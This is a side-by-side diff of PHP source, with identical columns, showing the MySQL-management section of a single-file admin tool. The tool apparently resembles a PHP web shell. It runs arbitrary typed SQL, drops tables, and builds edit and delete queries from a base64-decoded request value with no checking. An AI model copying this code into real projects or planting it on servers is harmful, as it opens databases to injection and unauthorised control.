| 932 | $dbs[$db['Database']] = $db['Database']; | 932 | $dbs[$db['Database']] = $db['Database']; |
| 933 | } | 933 | } |
| 934 | makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); | 934 | makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); |
| 935 | $tabledb = array(); | 935 | $tabledb = array(); |
| 936 | if ($dbname) { | 936 | if ($dbname) { |
| 937 | p('<p>'); | 937 | p('<p>'); |
| 938 | p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>'); | 938 | p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>'); |
| 939 | if ($tablename) { | 939 | if ($tablename) { |
| 940 | p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]'); | 940 | p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]'); |
| 941 | } | 941 | } |
| 942 | p('</p>'); | 942 | p('</p>'); |
| 943 | mysql_select_db($dbname); | 943 | mysql_select_db($dbname); |
| 944 | 944 | ||
| 945 | $getnumsql = ''; | 945 | $getnumsql = ''; |
| 946 | $runquery = 0; | 946 | $runquery = 0; |
| 947 | if ($sql_query) { | 947 | if ($sql_query) { |
| 948 | $runquery = 1; | 948 | $runquery = 1; |
| 949 | } | 949 | } |
| 950 | $allowedit = 0; | 950 | $allowedit = 0; |
| 951 | if ($tablename && !$sql_query) { | 951 | if ($tablename && !$sql_query) { |
| 952 | $sql_query = "SELECT * FROM $tablename"; | 952 | $sql_query = "SELECT * FROM $tablename"; |
| 953 | $getnumsql = $sql_query; | 953 | $getnumsql = $sql_query; |
| 954 | $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; | 954 | $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; |
| 955 | $allowedit = 1; | 955 | $allowedit = 1; |
| 956 | } | 956 | } |
| 957 | p('<form action="'.$self.'" method="POST">'); | 957 | p('<form action="'.$self.'" method="POST">'); |
| 958 | p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>'); | 958 | p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>'); |
| 959 | makehide('tablename', $tablename); | 959 | makehide('tablename', $tablename); |
| 960 | makehide('action','mysqladmin'); | 960 | makehide('action','mysqladmin'); |
| 961 | p($dbform); | 961 | p($dbform); |
| 962 | p('</form>'); | 962 | p('</form>'); |
| 963 | if ($tablename || ($runquery && $sql_query)) { | 963 | if ($tablename || ($runquery && $sql_query)) { |
| 964 | if ($doing == 'structure') { | 964 | if ($doing == 'structure') { |
| 965 | $result = q("SHOW FULL COLUMNS FROM $tablename"); | 965 | $result = q("SHOW FULL COLUMNS FROM $tablename"); |
| 966 | $rowdb = array(); | 966 | $rowdb = array(); |
| 967 | while($row = mysql_fetch_array($result)) { | 967 | while($row = mysql_fetch_array($result)) { |
| 968 | $rowdb[] = $row; | 968 | $rowdb[] = $row; |
| 969 | } | 969 | } |
| 970 | p('<h3>Structure</h3>'); | 970 | p('<h3>Structure</h3>'); |
| 971 | p('<table border="0" cellpadding="3" cellspacing="0">'); | 971 | p('<table border="0" cellpadding="3" cellspacing="0">'); |
| 972 | p('<tr class="head">'); | 972 | p('<tr class="head">'); |
| 973 | p('<td>Field</td>'); | 973 | p('<td>Field</td>'); |
| 974 | p('<td>Type</td>'); | 974 | p('<td>Type</td>'); |
| 975 | p('<td>Collation</td>'); | 975 | p('<td>Collation</td>'); |
| 976 | p('<td>Null</td>'); | 976 | p('<td>Null</td>'); |
| 977 | p('<td>Key</td>'); | 977 | p('<td>Key</td>'); |
| 978 | p('<td>Default</td>'); | 978 | p('<td>Default</td>'); |
| 979 | p('<td>Extra</td>'); | 979 | p('<td>Extra</td>'); |
| 980 | p('<td>Privileges</td>'); | 980 | p('<td>Privileges</td>'); |
| 981 | p('<td>Comment</td>'); | 981 | p('<td>Comment</td>'); |
| 982 | p('</tr>'); | 982 | p('</tr>'); |
| 983 | foreach ($rowdb as $row) { | 983 | foreach ($rowdb as $row) { |
| 984 | $thisbg = bg(); | 984 | $thisbg = bg(); |
| 985 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 985 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 986 | p('<td>'.$row['Field'].'</td>'); | 986 | p('<td>'.$row['Field'].'</td>'); |
| 987 | p('<td>'.$row['Type'].'</td>'); | 987 | p('<td>'.$row['Type'].'</td>'); |
| 988 | p('<td>'.$row['Collation'].' </td>'); | 988 | p('<td>'.$row['Collation'].' </td>'); |
| 989 | p('<td>'.$row['Null'].' </td>'); | 989 | p('<td>'.$row['Null'].' </td>'); |
| 990 | p('<td>'.$row['Key'].' </td>'); | 990 | p('<td>'.$row['Key'].' </td>'); |
| 991 | p('<td>'.$row['Default'].' </td>'); | 991 | p('<td>'.$row['Default'].' </td>'); |
| 992 | p('<td>'.$row['Extra'].' </td>'); | 992 | p('<td>'.$row['Extra'].' </td>'); |
| 993 | p('<td>'.$row['Privileges'].' </td>'); | 993 | p('<td>'.$row['Privileges'].' </td>'); |
| 994 | p('<td>'.$row['Comment'].' </td>'); | 994 | p('<td>'.$row['Comment'].' </td>'); |
| 995 | p('</tr>'); | 995 | p('</tr>'); |
| 996 | } | 996 | } |
| 997 | tbfoot(); | 997 | tbfoot(); |
| 998 | $result = q("SHOW INDEX FROM $tablename"); | 998 | $result = q("SHOW INDEX FROM $tablename"); |
| 999 | $rowdb = array(); | 999 | $rowdb = array(); |
| 1000 | while($row = mysql_fetch_array($result)) { | 1000 | while($row = mysql_fetch_array($result)) { |
| 1001 | $rowdb[] = $row; | 1001 | $rowdb[] = $row; |
| 1002 | } | 1002 | } |
| 1003 | p('<h3>Indexes</h3>'); | 1003 | p('<h3>Indexes</h3>'); |
| 1004 | p('<table border="0" cellpadding="3" cellspacing="0">'); | 1004 | p('<table border="0" cellpadding="3" cellspacing="0">'); |
| 1005 | p('<tr class="head">'); | 1005 | p('<tr class="head">'); |
| 1006 | p('<td>Keyname</td>'); | 1006 | p('<td>Keyname</td>'); |
| 1007 | p('<td>Type</td>'); | 1007 | p('<td>Type</td>'); |
| 1008 | p('<td>Unique</td>'); | 1008 | p('<td>Unique</td>'); |
| 1009 | p('<td>Packed</td>'); | 1009 | p('<td>Packed</td>'); |
| 1010 | p('<td>Seq_in_index</td>'); | 1010 | p('<td>Seq_in_index</td>'); |
| 1011 | p('<td>Field</td>'); | 1011 | p('<td>Field</td>'); |
| 1012 | p('<td>Cardinality</td>'); | 1012 | p('<td>Cardinality</td>'); |
| 1013 | p('<td>Collation</td>'); | 1013 | p('<td>Collation</td>'); |
| 1014 | p('<td>Null</td>'); | 1014 | p('<td>Null</td>'); |
| 1015 | p('<td>Comment</td>'); | 1015 | p('<td>Comment</td>'); |
| 1016 | p('</tr>'); | 1016 | p('</tr>'); |
| 1017 | foreach ($rowdb as $row) { | 1017 | foreach ($rowdb as $row) { |
| 1018 | $thisbg = bg(); | 1018 | $thisbg = bg(); |
| 1019 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 1019 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 1020 | p('<td>'.$row['Key_name'].'</td>'); | 1020 | p('<td>'.$row['Key_name'].'</td>'); |
| 1021 | p('<td>'.$row['Index_type'].'</td>'); | 1021 | p('<td>'.$row['Index_type'].'</td>'); |
| 1022 | p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>'); | 1022 | p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>'); |
| 1023 | p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>'); | 1023 | p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>'); |
| 1024 | p('<td>'.$row['Seq_in_index'].'</td>'); | 1024 | p('<td>'.$row['Seq_in_index'].'</td>'); |
| 1025 | p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>'); | 1025 | p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>'); |
| 1026 | p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>'); | 1026 | p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>'); |
| 1027 | p('<td>'.$row['Collation'].' </td>'); | 1027 | p('<td>'.$row['Collation'].' </td>'); |
| 1028 | p('<td>'.$row['Null'].' </td>'); | 1028 | p('<td>'.$row['Null'].' </td>'); |
| 1029 | p('<td>'.$row['Comment'].' </td>'); | 1029 | p('<td>'.$row['Comment'].' </td>'); |
| 1030 | p('</tr>'); | 1030 | p('</tr>'); |
| 1031 | } | 1031 | } |
| 1032 | tbfoot(); | 1032 | tbfoot(); |
| 1033 | } elseif ($doing == 'insert' || $doing == 'edit') { | 1033 | } elseif ($doing == 'insert' || $doing == 'edit') { |
| 1034 | $result = q('SHOW COLUMNS FROM '.$tablename); | 1034 | $result = q('SHOW COLUMNS FROM '.$tablename); |
| 1035 | while ($row = mysql_fetch_array($result)) { | 1035 | while ($row = mysql_fetch_array($result)) { |
| 1036 | $rowdb[] = $row; | 1036 | $rowdb[] = $row; |
| 1037 | } | 1037 | } |
| 1038 | $rs = array(); | 1038 | $rs = array(); |
| 1039 | if ($doing == 'insert') { | 1039 | if ($doing == 'insert') { |
| 1040 | p('<h2>Insert new line in '.$tablename.' table »</h2>'); | 1040 | p('<h2>Insert new line in '.$tablename.' table »</h2>'); |
| 1041 | } else { | 1041 | } else { |
| 1042 | p('<h2>Update record in '.$tablename.' table »</h2>'); | 1042 | p('<h2>Update record in '.$tablename.' table »</h2>'); |
| 1043 | $where = base64_decode($base64); | 1043 | $where = base64_decode($base64); |
| 1044 | $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); | 1044 | $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); |
| 1045 | $rs = mysql_fetch_array($result); | 1045 | $rs = mysql_fetch_array($result); |
| 1046 | } | 1046 | } |
| 1047 | p('<form method="post" action="'.$self.'">'); | 1047 | p('<form method="post" action="'.$self.'">'); |
| 1048 | p($dbform); | 1048 | p($dbform); |
| 1049 | makehide('action','mysqladmin'); | 1049 | makehide('action','mysqladmin'); |
| 1050 | makehide('tablename',$tablename); | 1050 | makehide('tablename',$tablename); |
| 1051 | p('<table border="0" cellpadding="3" cellspacing="0">'); | 1051 | p('<table border="0" cellpadding="3" cellspacing="0">'); |
| 1052 | foreach ($rowdb as $row) { | 1052 | foreach ($rowdb as $row) { |
| 1053 | if ($rs[$row['Field']]) { | 1053 | if ($rs[$row['Field']]) { |
| 1054 | $value = htmlspecialchars($rs[$row['Field']]); | 1054 | $value = htmlspecialchars($rs[$row['Field']]); |
| 1055 | } else { | 1055 | } else { |
| 1056 | $value = ''; | 1056 | $value = ''; |
| 1057 | } | 1057 | } |
| 1058 | $thisbg = bg(); | 1058 | $thisbg = bg(); |
| 1059 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 1059 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 1060 | if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { | 1060 | if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { |
| 1061 | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>'); | 1061 | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>'); |
| 1062 | } else { | 1062 | } else { |
| 1063 | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); | 1063 | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); |
| 1064 | } | 1064 | } |
| 1065 | } | 1065 | } |
| 1066 | if ($doing == 'insert') { | 1066 | if ($doing == 'insert') { |
| 1067 | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>'); | 1067 | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>'); |
| 1068 | } else { | 1068 | } else { |
| 1069 | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); | 1069 | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); |
| 1070 | makehide('base64', $base64); | 1070 | makehide('base64', $base64); |
| 1071 | } | 1071 | } |
| 1072 | p('</table></form>'); | 1072 | p('</table></form>'); |
| 1073 | } else { | 1073 | } else { |
| 1074 | $querys = @explode(';',$sql_query); | 1074 | $querys = @explode(';',$sql_query); |
| 1075 | foreach($querys as $num=>$query) { | 1075 | foreach($querys as $num=>$query) { |
| 1076 | if ($query) { | 1076 | if ($query) { |
| 1077 | p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>"); | 1077 | p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>"); |
| 1078 | switch(qy($query)) | 1078 | switch(qy($query)) |
| 1079 | { | 1079 | { |
| 1080 | case 0: | 1080 | case 0: |
| 1081 | p('<h2>Error : '.mysql_error().'</h2>'); | 1081 | p('<h2>Error : '.mysql_error().'</h2>'); |
| 1082 | break; | 1082 | break; |
| 1083 | case 1: | 1083 | case 1: |
| 1084 | if (strtolower(substr($query,0,13)) == 'select * from') { | 1084 | if (strtolower(substr($query,0,13)) == 'select * from') { |
| 1085 | $allowedit = 1; | 1085 | $allowedit = 1; |
| 1086 | } | 1086 | } |
| 1087 | if ($getnumsql) { | 1087 | if ($getnumsql) { |
| 1088 | $tatol = mysql_num_rows(q($getnumsql)); | 1088 | $tatol = mysql_num_rows(q($getnumsql)); |
| 1089 | $multipage = multi($tatol, $pagenum, $page, $tablename); | 1089 | $multipage = multi($tatol, $pagenum, $page, $tablename); |
| 1090 | } | 1090 | } |
| 1091 | if (!$tablename) { | 1091 | if (!$tablename) { |
| 1092 | $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); | 1092 | $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); |
| 1093 | $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); | 1093 | $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); |
| 1094 | preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); | 1094 | preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); |
| 1095 | $tablename = $matches[1][0]; | 1095 | $tablename = $matches[1][0]; |
| 1096 | } | 1096 | } |
| 1097 | 1097 | ||
| 1098 | /*********************/ | 1098 | /*********************/ |
| 1099 | $getfield = q("SHOW COLUMNS FROM $tablename"); | 1099 | $getfield = q("SHOW COLUMNS FROM $tablename"); |
| 1100 | $rowdb = array(); | 1100 | $rowdb = array(); |
| 1101 | $keyfied = ''; //Ö÷¼ü×Ö¶Î | 1101 | $keyfied = ''; //Ö÷¼ü×Ö¶Î |
| 1102 | while($row = @mysql_fetch_assoc($getfield)) { | 1102 | while($row = @mysql_fetch_assoc($getfield)) { |
| 1103 | $rowdb[$row['Field']]['Key'] = $row['Key']; | 1103 | $rowdb[$row['Field']]['Key'] = $row['Key']; |
| 1104 | $rowdb[$row['Field']]['Extra'] = $row['Extra']; | 1104 | $rowdb[$row['Field']]['Extra'] = $row['Extra']; |
| 1105 | if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { | 1105 | if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { |
| 1106 | $keyfied = $row['Field']; | 1106 | $keyfied = $row['Field']; |
| 1107 | } | 1107 | } |
| 1108 | } | 1108 | } |
| 1109 | /*********************/ | 1109 | /*********************/ |
| 1110 | //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ | 1110 | //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ |
| 1111 | if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') { | 1111 | if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') { |
| 1112 | $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); | 1112 | $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); |
| 1113 | } | 1113 | } |
| 1114 | 1114 | ||
| 1115 | $result = q($query); | 1115 | $result = q($query); |
| 1116 | 1116 | ||
| 1117 | p($multipage); | 1117 | p($multipage); |
| 1118 | p('<table border="0" cellpadding="3" cellspacing="0">'); | 1118 | p('<table border="0" cellpadding="3" cellspacing="0">'); |
| 1119 | p('<tr class="head">'); | 1119 | p('<tr class="head">'); |
| 1120 | if ($allowedit) p('<td>Action</td>'); | 1120 | if ($allowedit) p('<td>Action</td>'); |
| 1121 | $fieldnum = @mysql_num_fields($result); | 1121 | $fieldnum = @mysql_num_fields($result); |
| 1122 | for($i=0;$i<$fieldnum;$i++){ | 1122 | for($i=0;$i<$fieldnum;$i++){ |
| 1123 | $name = @mysql_field_name($result, $i); | 1123 | $name = @mysql_field_name($result, $i); |
| 1124 | $type = @mysql_field_type($result, $i); | 1124 | $type = @mysql_field_type($result, $i); |
| 1125 | $len = @mysql_field_len($result, $i); | 1125 | $len = @mysql_field_len($result, $i); |
| 1126 | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); | 1126 | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); |
| 1127 | } | 1127 | } |
| 1128 | p('</tr>'); | 1128 | p('</tr>'); |
| 1129 | 1129 | ||
| 1130 | while($mn = @mysql_fetch_assoc($result)){ | 1130 | while($mn = @mysql_fetch_assoc($result)){ |
| 1131 | $thisbg = bg(); | 1131 | $thisbg = bg(); |
| 1132 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 1132 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 1133 | $where = $tmp = $b1 = ''; | 1133 | $where = $tmp = $b1 = ''; |
| 1134 | //ѡȡÌõ¼þ×Ö¶ÎÓà | 1134 | //ѡȡÌõ¼þ×Ö¶ÎÓà |
| 1135 | foreach($mn as $key=>$inside){ | 1135 | foreach($mn as $key=>$inside){ |
| 1136 | if ($inside) { | 1136 | if ($inside) { |
| 1137 | //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ | 1137 | //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ |
| 1138 | if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { | 1138 | if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { |
| 1139 | $where = $key."='".addslashes($inside)."'"; | 1139 | $where = $key."='".addslashes($inside)."'"; |
| 1140 | break; | 1140 | break; |
| 1141 | } | 1141 | } |
| 1142 | $where .= $tmp.$key."='".addslashes($inside)."'"; | 1142 | $where .= $tmp.$key."='".addslashes($inside)."'"; |
| 1143 | $tmp = ' AND '; | 1143 | $tmp = ' AND '; |
| 1144 | } | 1144 | } |
| 1145 | } | 1145 | } |
| 1146 | //¶ÁÈ¡¼Ç¼Óà | 1146 | //¶ÁÈ¡¼Ç¼Óà |
| 1147 | foreach($mn as $key=>$inside){ | 1147 | foreach($mn as $key=>$inside){ |
| 1148 | $b1 .= '<td nowrap>'.html_clean($inside).' </td>'; | 1148 | $b1 .= '<td nowrap>'.html_clean($inside).' </td>'; |
| 1149 | } | 1149 | } |
| 1150 | $where = base64_encode($where); | 1150 | $where = base64_encode($where); |
| 1151 | 1151 | ||
| 1152 | if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>'); | 1152 | if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>'); |
| 1153 | 1153 | ||
| 1154 | p($b1); | 1154 | p($b1); |
| 1155 | p('</tr>'); | 1155 | p('</tr>'); |
| 1156 | unset($b1); | 1156 | unset($b1); |
| 1157 | } | 1157 | } |
| 1158 | p('<tr class="head">'); | 1158 | p('<tr class="head">'); |
| 1159 | if ($allowedit) p('<td>Action</td>'); | 1159 | if ($allowedit) p('<td>Action</td>'); |
| 1160 | $fieldnum = @mysql_num_fields($result); | 1160 | $fieldnum = @mysql_num_fields($result); |
| 1161 | for($i=0;$i<$fieldnum;$i++){ | 1161 | for($i=0;$i<$fieldnum;$i++){ |
| 1162 | $name = @mysql_field_name($result, $i); | 1162 | $name = @mysql_field_name($result, $i); |
| 1163 | $type = @mysql_field_type($result, $i); | 1163 | $type = @mysql_field_type($result, $i); |
| 1164 | $len = @mysql_field_len($result, $i); | 1164 | $len = @mysql_field_len($result, $i); |
| 1165 | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); | 1165 | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); |
| 1166 | } | 1166 | } |
| 1167 | p('</tr>'); | 1167 | p('</tr>'); |
| 1168 | tbfoot(); | 1168 | tbfoot(); |
| 1169 | p($multipage); | 1169 | p($multipage); |
| 1170 | break; | 1170 | break; |
| 1171 | case 2: | 1171 | case 2: |
| 1172 | $ar = mysql_affected_rows(); | 1172 | $ar = mysql_affected_rows(); |
| 1173 | p('<h2>affected rows : <b>'.$ar.'</b></h2>'); | 1173 | p('<h2>affected rows : <b>'.$ar.'</b></h2>'); |
| 1174 | break; | 1174 | break; |
| 1175 | } | 1175 | } |
| 1176 | } | 1176 | } |
| 1177 | } | 1177 | } |
| 1178 | } | 1178 | } |
| 1179 | } else { | 1179 | } else { |
| 1180 | $query = q("SHOW TABLE STATUS"); | 1180 | $query = q("SHOW TABLE STATUS"); |
| 1181 | $table_num = $table_rows = $data_size = 0; | 1181 | $table_num = $table_rows = $data_size = 0; |
| 1182 | $tabledb = array(); | 1182 | $tabledb = array(); |
| 1183 | while($table = mysql_fetch_array($query)) { | 1183 | while($table = mysql_fetch_array($query)) { |
| 1184 | $data_size = $data_size + $table['Data_length']; | 1184 | $data_size = $data_size + $table['Data_length']; |
| 1185 | $table_rows = $table_rows + $table['Rows']; | 1185 | $table_rows = $table_rows + $table['Rows']; |
| 1186 | $table['Data_length'] = sizecount($table['Data_length']); | 1186 | $table['Data_length'] = sizecount($table['Data_length']); |
| 1187 | $table_num++; | 1187 | $table_num++; |
| 1188 | $tabledb[] = $table; | 1188 | $tabledb[] = $table; |
| 1189 | } | 1189 | } |
| 1190 | $data_size = sizecount($data_size); | 1190 | $data_size = sizecount($data_size); |
| 1191 | unset($table); | 1191 | unset($table); |
| 1192 | p('<table border="0" cellpadding="0" cellspacing="0">'); | 1192 | p('<table border="0" cellpadding="0" cellspacing="0">'); |
| 1193 | p('<form action="'.$self.'" method="POST">'); | 1193 | p('<form action="'.$self.'" method="POST">'); |
| 1194 | makehide('action','mysqladmin'); | 1194 | makehide('action','mysqladmin'); |
| 1195 | p($dbform); | 1195 | p($dbform); |
| 1196 | p('<tr class="head">'); | 1196 | p('<tr class="head">'); |
| 1197 | p('<td width="2%" align="center"> </td>'); | 1197 | p('<td width="2%" align="center"> </td>'); |
| 1198 | p('<td>Name</td>'); | 1198 | p('<td>Name</td>'); |
| 1199 | p('<td>Rows</td>'); | 1199 | p('<td>Rows</td>'); |
| 1200 | p('<td>Data_length</td>'); | 1200 | p('<td>Data_length</td>'); |
| 1201 | p('<td>Create_time</td>'); | 1201 | p('<td>Create_time</td>'); |
| 1202 | p('<td>Update_time</td>'); | 1202 | p('<td>Update_time</td>'); |
| 1203 | if ($highver) { | 1203 | if ($highver) { |
| 1204 | p('<td>Engine</td>'); | 1204 | p('<td>Engine</td>'); |
| 1205 | p('<td>Collation</td>'); | 1205 | p('<td>Collation</td>'); |
| 1206 | } | 1206 | } |
| 1207 | p('<td>Operate</td>'); | 1207 | p('<td>Operate</td>'); |
| 1208 | p('</tr>'); | 1208 | p('</tr>'); |
| 1209 | foreach ($tabledb as $key => $table) { | 1209 | foreach ($tabledb as $key => $table) { |
| 1210 | $thisbg = bg(); | 1210 | $thisbg = bg(); |
| 1211 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 1211 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 1212 | p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>'); | 1212 | p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>'); |
| 1213 | p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>'); | 1213 | p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>'); |
| 1214 | p('<td>'.$table['Rows'].'</td>'); | 1214 | p('<td>'.$table['Rows'].'</td>'); |
| 1215 | p('<td>'.$table['Data_length'].'</td>'); | 1215 | p('<td>'.$table['Data_length'].'</td>'); |
| 1216 | p('<td>'.$table['Create_time'].' </td>'); | 1216 | p('<td>'.$table['Create_time'].' </td>'); |
| 1217 | p('<td>'.$table['Update_time'].' </td>'); | 1217 | p('<td>'.$table['Update_time'].' </td>'); |
| 1218 | if ($highver) { | 1218 | if ($highver) { |
| 1219 | p('<td>'.$table['Engine'].'</td>'); | 1219 | p('<td>'.$table['Engine'].'</td>'); |
| 1220 | p('<td>'.$table['Collation'].'</td>'); | 1220 | p('<td>'.$table['Collation'].'</td>'); |
| 1221 | } | 1221 | } |
